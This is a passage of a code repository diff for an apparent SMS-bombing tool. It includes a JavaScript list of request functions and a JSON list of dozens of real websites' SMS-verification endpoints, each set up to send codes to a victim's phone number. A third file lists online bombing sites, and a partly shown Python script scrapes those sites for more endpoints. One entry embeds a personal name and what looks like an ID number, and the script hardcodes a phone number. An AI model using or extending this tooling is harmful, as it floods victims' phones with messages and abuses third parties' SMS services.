dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '栋才智慧',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone="+phone+"&smsMode=2",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '工伤预防网上培训平台',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '济宁专技',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://sdjn-web.yxlearning.com/sendPhoneCode.gson",
|
||||
type: "POST",
|
||||
data: {"phone": phone, "sendType": "4"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '宁夏伊地地质工程有限公司',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.yddzgc.com/bid-app/api/sys/code?phone="+phone+"&type=1",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '青春大学说',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||
type: "POST",
|
||||
data: {"phone_number": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '兴业利达电子招投标平台',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
|
||||
type: "POST",
|
||||
data: {"username": phone, "type": "regUser", "mobile": "PC"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '火象',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||
type: "POST",
|
||||
data: {"temp": "1", "phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '中科教育',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.vipexam.cn/user/identifyingCode.action",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '聚题库',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://uc.csdhe.com/v1/sms/send?mobile="+phone+"&apptype=examWeb",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '大广节',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://47.103.35.255:510/api/Account/SendRestigerSms",
|
||||
type: "POST",
|
||||
data: {tel: phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '选择山东云平台',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://israel.selectshandong.com/user/verification_code/send.html",
|
||||
type: "POST",
|
||||
data: {mobile: phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '苏州高新区教育局',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '专业技术人员继续教育平台',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '泰安专技',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://sdta-web.yxlearning.com/sendPhoneCode.gson",
|
||||
type: "POST",
|
||||
data: {"phone": phone, "sendType": "4"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '志睿择',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.vipexam.cn/user/identifyingCode.action",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '漏洞银行',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.bugbank.cn/api/verifymobile",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '中国劳动保障新闻网',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '金万维',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.kuaijiexi.com/sendPhoneMessage",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '广西大数据发展局',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode",
|
||||
type: "POST",
|
||||
data: {"method":"sendMobileCode","userMobile":phone,"random":"1.2851343744474852"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '凤凰金刚网',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://api.shweina.com/sms/getCode?type=1&mobile="+phone+"&sms_id=1&_=1649572691296",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'SDTF',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.satdatafresh.com/Register_send.php",
|
||||
type: "POST",
|
||||
data: {phone: phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'UCG',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://api.ucg.cn/api/account/get_code",
|
||||
type: "POST",
|
||||
data: {phone: phone,type:1},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '爱社区',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel="+phone+"&_=1649576168585",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '费耘网',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.feeclouds.com/homepage/register/send",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'TCTY评测委员会',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://bth.educg.net/new_registration.do",
|
||||
type: "POST",
|
||||
data: {"op": "getvfycode",phone: phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '中电仪器',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://ceyear.com/Cn/Member/get_code",
|
||||
type: "POST",
|
||||
data: {phone: phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '航运e家',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://co.hangyunejia.com/v1/account/sendregphonecode",
|
||||
type: "POST",
|
||||
data: {phone: phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '赛客呼吸',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://m.xeek.cn/api/common/CheckCode/index.html",
|
||||
type: "POST",
|
||||
data: {"action":"register","account":phone,"accountType":"3"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '佛山政务短信平台',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://fsjf.fslgb.gov.cn/servlet/user",
|
||||
type: "POST",
|
||||
data: {"type":"getCode","certificate":"","phone":phone,"opr":"注册"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '南京筑能网络科技有限公司',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php",
|
||||
type: "POST",
|
||||
data: {"tel": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '四川宝石花',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile="+phone+"&_=1649516272801",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '赛日速配',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://sporax.com.cn/Login/sms",
|
||||
type: "POST",
|
||||
data: {"Mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '乐思无限',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://sid.mk315.cn/index/register/getcode.html",
|
||||
type: "POST",
|
||||
data: {"tel": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '宁波材料所',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile="+phone+"&verifycode=[object%20HTMLInputElement]",
|
||||
type: "POST",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '佬司机大宗商品交易',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.laosjgyl.com/register/sendCaptcha",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '广东省心理学会',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
}
|
||||
]
|
||||
481
debug/api_tou.json
Executable file
@@ -0,0 +1,481 @@
|
||||
[
|
||||
{
|
||||
"desc": "迪卡侬",
|
||||
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"countryCode": "CN",
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "股海网",
|
||||
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "LLL的个人blog",
|
||||
"url": "http://www.lll.plus/sendCode/",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]",
|
||||
"forgetPwd": ""
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "企米子",
|
||||
"url": "https://www.xcxui.com/index/register/getcode.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "蒲公英",
|
||||
"url": "https://id.pgyer.com/user/getRegisterCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]",
|
||||
"callingCode": "86",
|
||||
"mode": "tel"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "百卓优采",
|
||||
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"captcha": ""
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "云背篓",
|
||||
"url": "https://brand.yunbeilou.com/index.php/smssend",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"v": "yes"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "PHP中文网",
|
||||
"url": "https://m.php.cn/account/phone_code.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "12321",
|
||||
"url": "http://dhba.12321.cn/api/verifycode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "Testin众测",
|
||||
"url": "https://www.ztestin.com/users/send/vercode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"type": "register",
|
||||
"voice": "0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "海尔",
|
||||
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"account": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "飞猫云",
|
||||
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"pcode": "+86",
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "华觉数字化平台",
|
||||
"url": "https://end.huajuetech.com/api/sendCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"email": "null",
|
||||
"verfy_method": "mobile"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "问政江西",
|
||||
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "河南智慧党建",
|
||||
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"verifytype": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "陆陆陆云安全",
|
||||
"url": "https://cloud.666idc.com/index/login/sendsms.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"mobile_pre": "86"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "网易",
|
||||
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "码云社",
|
||||
"url": "https://www.codeseeding.com/loginUser/toSend",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "人才山东",
|
||||
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"personcall": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "水利部",
|
||||
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "七联大学",
|
||||
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phoneNumber": "[phone]",
|
||||
"sendType": "0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "闪德资讯",
|
||||
"url": "https://www.0101ssd.com/user/sendmsg",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"event": "register"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "江苏省名师空中课堂",
|
||||
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"type": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "CSFF短片",
|
||||
"url": "https://csff.cutv.com/wapi/users/sendregcode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"telphone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "广西人社厅",
|
||||
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"aae005": "[phone]",
|
||||
"aac003": "刘萌萌",
|
||||
"aac002": "210212198506035924",
|
||||
"notkeyflag": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "麦克赛尔数字映像",
|
||||
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"action": "send",
|
||||
"txtMember_Name": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "宝提分",
|
||||
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "选型系统",
|
||||
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {
|
||||
"cmd": "GetTelVerifyCode",
|
||||
"Tel": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "千里马网信科技",
|
||||
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tips": "1",
|
||||
"shouji": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "保定云",
|
||||
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "欢动游戏",
|
||||
"url": "http://www.gm5.com/auth/registerSms.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "迈威",
|
||||
"url": "https://www.maiwe.com.cn/index/sendcode.html",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "憨鼠社区",
|
||||
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "天鹅到家",
|
||||
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "诺达筑工",
|
||||
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "栋才智慧",
|
||||
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "工伤预防网上培训平台",
|
||||
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "济宁专技",
|
||||
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"sendType": "4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "宁夏伊地地质工程有限公司",
|
||||
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "青春大学说",
|
||||
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone_number": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "兴业利达电子招投标平台",
|
||||
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"username": "[phone]",
|
||||
"type": "regUser",
|
||||
"mobile": "PC"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "火象",
|
||||
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"temp": "1",
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "中科教育",
|
||||
"url": "https://www.vipexam.cn/user/identifyingCode.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "聚题库",
|
||||
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "苏州高新区教育局",
|
||||
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "专业技术人员继续教育平台",
|
||||
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "泰安专技",
|
||||
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"sendType": "4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "志睿择",
|
||||
"url": "https://www.vipexam.cn/user/identifyingCode.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "漏洞银行",
|
||||
"url": "https://www.bugbank.cn/api/verifymobile",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "中国劳动保障新闻网",
|
||||
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "广东省心理学会",
|
||||
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "费耘网",
|
||||
"url": "https://www.feeclouds.com/homepage/register/send",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
}
|
||||
]
|
||||
62
debug/hz-web.json
Executable file
@@ -0,0 +1,62 @@
|
||||
[
|
||||
{
|
||||
"url": "https://duanxin.97sq.com/",
|
||||
"key": "",
|
||||
"title": "在线短信测压 97社区短信测压"
|
||||
},
|
||||
{
|
||||
"url": "https://www.yxdhma.cn/",
|
||||
"key": "",
|
||||
"title": "大树免费短信测压"
|
||||
},
|
||||
{
|
||||
"url": "http://107.173.149.61/index.php",
|
||||
"key": "",
|
||||
"title": "在线短信测压 智云短信轰炸"
|
||||
},
|
||||
{
|
||||
"url": "http://www.ono.plus/iaJIR00a0sqf/index.php",
|
||||
"key": "",
|
||||
"title": "在线短信测压"
|
||||
},
|
||||
{
|
||||
"url": "http://91zn.top/ylcs/",
|
||||
"key": "",
|
||||
"title": "免费短信测压"
|
||||
},
|
||||
{
|
||||
"url": "http://103.45.122.14/index.php",
|
||||
"key": "",
|
||||
"title": "Hello短信测压"
|
||||
},
|
||||
{
|
||||
"url": "https://ialtone.xyz/message/index.php",
|
||||
"key": "",
|
||||
"title": "ialtone的短信测压站"
|
||||
},
|
||||
{
|
||||
"url": "http://lzc.muigs.xyz/index2.php?",
|
||||
"key": "",
|
||||
"title": "短信测压-冷之晨"
|
||||
},
|
||||
{
|
||||
"url": "http://101.132.154.124:1200/index.php",
|
||||
"key": "",
|
||||
"title": "在线短信测压轰炸"
|
||||
},
|
||||
{
|
||||
"url": "https://ceya.kpxdr.com/index.php",
|
||||
"key": "",
|
||||
"title": "在线短信测压—云端轰炸"
|
||||
},
|
||||
{
|
||||
"url": "https://128.14.239.248/index.php",
|
||||
"key": "",
|
||||
"title": "在线短信测压 秋思短信轰炸"
|
||||
},
|
||||
{
|
||||
"url": "http://101.43.16.51:665/index.php",
|
||||
"key": "",
|
||||
"title": ""
|
||||
}
|
||||
]
|
||||
224
debug/spider-api.py
Executable file
@@ -0,0 +1,224 @@
|
||||
#!/usr/bin/python python3
|
||||
# coding=utf-8
|
||||
# 爬取轰炸平台接口
|
||||
from loguru import logger
|
||||
import httpx
|
||||
import requests
|
||||
import re
|
||||
from utils import Sql
|
||||
import queue
|
||||
import pathlib
|
||||
import threading
|
||||
import sys
|
||||
import json
|
||||
from prettytable import PrettyTable
|
||||
import click
|
||||
import urllib3
|
||||
urllib3.disable_warnings()
|
||||
|
||||
# logger config
|
||||
logger.remove()
|
||||
logger.add(
|
||||
sink=sys.stdout,
|
||||
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
|
||||
colorize=True,
|
||||
backtrace=True
|
||||
)
|
||||
|
||||
|
||||
path = pathlib.Path(__file__).parent
|
||||
header = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
|
||||
}
|
||||
|
||||
|
||||
class SMS(object):
|
||||
# 默认的请求密钥
|
||||
default_phone = "15019682928"
|
||||
key_default = f"?hm={default_phone}&ok="
|
||||
|
||||
def __init__(self, website, key) -> None:
|
||||
self.url = website
|
||||
self.header = header
|
||||
if key == "":
|
||||
self.key = self.key_default
|
||||
self.api_queue = queue.Queue()
|
||||
self.db = Sql()
|
||||
self.lock = threading.Lock()
|
||||
self.ok_api = 0
|
||||
|
||||
def get_sms_api(self):
|
||||
'''请求短信轰炸平台'''
|
||||
with httpx.Client(verify=False) as ses:
|
||||
ses.get(self.url, headers=self.header)
|
||||
resp = ses.get(f"{self.url}{self.key}", headers=self.header)
|
||||
|
||||
pat = re.compile(r"<img src='(.*?)' alt")
|
||||
apis = pat.findall(resp.text)
|
||||
assert not apis == [], "未找到任何接口!"
|
||||
# print(resp.text)
|
||||
logger.info("获取到的原始接口总数:%s" % (len(apis)))
|
||||
|
||||
for api in apis:
|
||||
|
||||
# 三重校验网址
|
||||
# 排除接口中没有电话号码的网址
|
||||
if self.default_phone not in api:
|
||||
continue
|
||||
|
||||
# 去除空白字符并替换默认手机号
|
||||
api = api.strip().replace(" ", "").replace(
|
||||
self.default_phone, "[phone]")
|
||||
|
||||
# 校验网址开头
|
||||
if not (api.startswith("https://") or api.startswith("http://")):
|
||||
continue
|
||||
|
||||
self.api_queue.put(api)
|
||||
|
||||
logger.info("Put到队列的接口总数:%s" % (self.api_queue.qsize()))
|
||||
self.size = self.api_queue.qsize()
|
||||
|
||||
def check_theads(self):
|
||||
'''多线程检查可用性'''
|
||||
while not self.api_queue.empty():
|
||||
api = self.api_queue.get()
|
||||
try:
|
||||
